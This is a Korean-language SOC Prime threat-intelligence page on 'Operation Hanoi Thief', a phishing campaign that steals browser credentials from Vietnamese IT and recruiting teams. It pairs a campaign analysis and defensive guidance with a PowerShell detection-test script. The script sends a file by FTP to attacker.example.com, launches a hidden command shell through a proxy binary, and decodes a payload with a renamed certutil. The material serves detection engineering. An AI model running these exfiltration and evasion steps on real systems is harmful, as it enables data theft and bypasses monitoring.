SOC Prime Bias: 위험

02 Dec 2025 15:54 UTC

하노이 도둑 작전: 위협 행위자가 베트남 IT 및 채용 팀을 공격

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
하노이 도둑 작전: 위협 행위자가 베트남 IT 및 채용 팀을 공격
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

“Operation Hanoi Thief”로 명명된 스피어피싱 작전은 바로 가기 (LNK)와 감쪽같이 위장된 다중 형식 문서를 포함하는 악성 ZIP 아카이브를 전송합니다. 바로 가기는 ftp.exe를 악용하여 배치 스크립트를 실행하고, MsCtfMonitor.dll이라는 DLL을 ProgramData에 드롭한 후 ctfmon.exe를 통해 DLL 사이드로딩을 수행합니다. LOTUSHARVEST로 불리는 이 DLL은 브라우저 자격 증명 및 기록을 훔치고 수집된 데이터를 HTTPS를 통해 외부로 전송합니다.

Operation Hanoi Thief 캠페인 분석

SEQRITE Labs APT-팀 연구원들은 ZIP 아카이브를 해제하고 LNK 명령 줄이 ftp.exe를 악용하는 것을 문서화하고, 이름이 변경된 certutil.exe 바이너리를 관찰하였으며, DLL 사이드로딩 연쇄를 탐색했습니다. 또한 데이터 유출에 연관된 네트워크 지표를 포착하여 캠페인을 중국의 국가 지원 위협 행위자에게 귀속시켰습니다.

완화

방어 지침에는 의심스러운 LNK 바로 가기의 실행 차단, 불신 스크립트에서 ftp.exe 및 certutil.exe와 같은 네이티브 Windows 도구 사용 제한, DLL 로딩 경로에 대한 제어 강화, 친숙하지 않은 도메인으로의 아웃바운드 HTTPS 트래픽 모니터링이 포함됩니다. 또한 조직은 엄격한 이메일 첨부파일 필터링을 적용하고 이력서 테마의 피싱 미끼에 대한 사용자 교육을 강화해야 합니다.

대응

ProgramData에서의 MsCtfMonitor.dll 출현, -s 플래그와 함께하는 ftp.exe 실행, 그리고 악성 도메인으로의 아웃바운드 요청에 대한 경고를 트리거하세요. 영향 받은 파일을 격리하고, 손상된 엔드포인트를 격리하며, 영향받은 브라우저의 비밀번호 및 자격 증명을 교체하세요.

공격 흐름

시뮬레이션 실행

전제 조건: Telemetry & Baseline Pre-flight Check를 통과해야 합니다.

근거: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적수 기술 (TTP)의 정확한 실행을 설명합니다. 명령 및 서사 이야기는 식별된 TTP를 직접 반영해야 하며 탐지 논리에 의해 예상되는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다.

  • 공격 내러티브 및 명령:
    손상된 Windows 머신에서 낮은 권한의 셸을 획득한 공격자는 데이터를 탈취하고 스텔스를 유지하려고 합니다.

    1. 단계 1 – FTP 스크립트 실행:공격자는 임시 스크립트 upload.txt에 FTP 명령어를 포함시키고 ftp.exe -s upload.txt를 실행하여 파일을 외부 서버로 전송합니다.
    2. 단계 2 – 프록시 명령 실행: 공격자는 cmd.exe의 사용을 숨기기 위해 DeviceCredentialDeployment.execmd.exe /c whoami 인수를 함께 실행하여 서명된 유틸리티가 숨겨진 명령 셸을 생성하게 하여 간단한 프로세스 이름 경고를 피합니다.
    3. 단계 3 – 가장된 certutil 사용: 공격자는 certutil.exeC:Templala.exe로 복사하고 lala.exe -decode malicious.b64 output.exe을 실행하여 페이로드를 해독, 파일명 기반 탐지를 우회하기 위해 이름 변경을 활용합니다.
  • 회귀 테스트 스크립트: 다음 PowerShell 스크립트는 세 단계를 반복 가능한 방식으로 재현합니다.

    # 회귀 테스트 스크립트 – 탐지 규칙을 트리거함
    # 1. FTP -s 플래그
    $ftpScript = "$env:TEMPupload.txt"
    @"
    open attacker.example.com
    user testuser testpass
    put C:WindowsSystem32notepad.exe notepad.exe
    quit
    "@ | Set-Content -Path $ftpScript -Encoding ASCII
    Start-Process -FilePath "C:WindowsSystem32ftp.exe" -ArgumentList "-s `"$ftpScript`"" -NoNewWindow -Wait
    
    # 2. DeviceCredentialDeployment.exe가 cmd.exe 프록싱
    $dccPath = "C:Program FilesDeviceCredentialDeploymentDeviceCredentialDeployment.exe"
    if (Test-Path $dccPath) {
        Start-Process -FilePath $dccPath -ArgumentList "cmd.exe /c whoami" -WindowStyle Hidden -Wait
    } else {
        Write-Host "DeviceCredentialDeployment.exe를 찾을 수 없어 단계 2를 건너뜁니다."
    }
    
    # 3. 가장된 certutil 실행
    $original = "$env:SystemRootSystem32certutil.exe"
    $masq = "$env:TEMPlala.exe"
    Copy-Item -Path $original -Destination $masq -Force
    $payload = "$env:TEMPmalicious.b64"
    $output  = "$env:TEMPdecoded.exe"
    # 더미 base64 페이로드 생성
    [IO.File]::WriteAllText($payload, [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("echo malicious")))
    Start-Process -FilePath $masq -ArgumentList "-decode `"$payload`" `"$output`"" -NoNewWindow -Wait
  • 정리 명령어: 테스트 동안 생성된 아티팩트를 제거합니다.

    # 정리 스크립트
    Remove-Item -Path "$env:TEMPupload.txt" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPmalicious.b64" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPdecoded.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlala.exe" -ErrorAction SilentlyContinue
    Write-Host "정리가 완료되었습니다."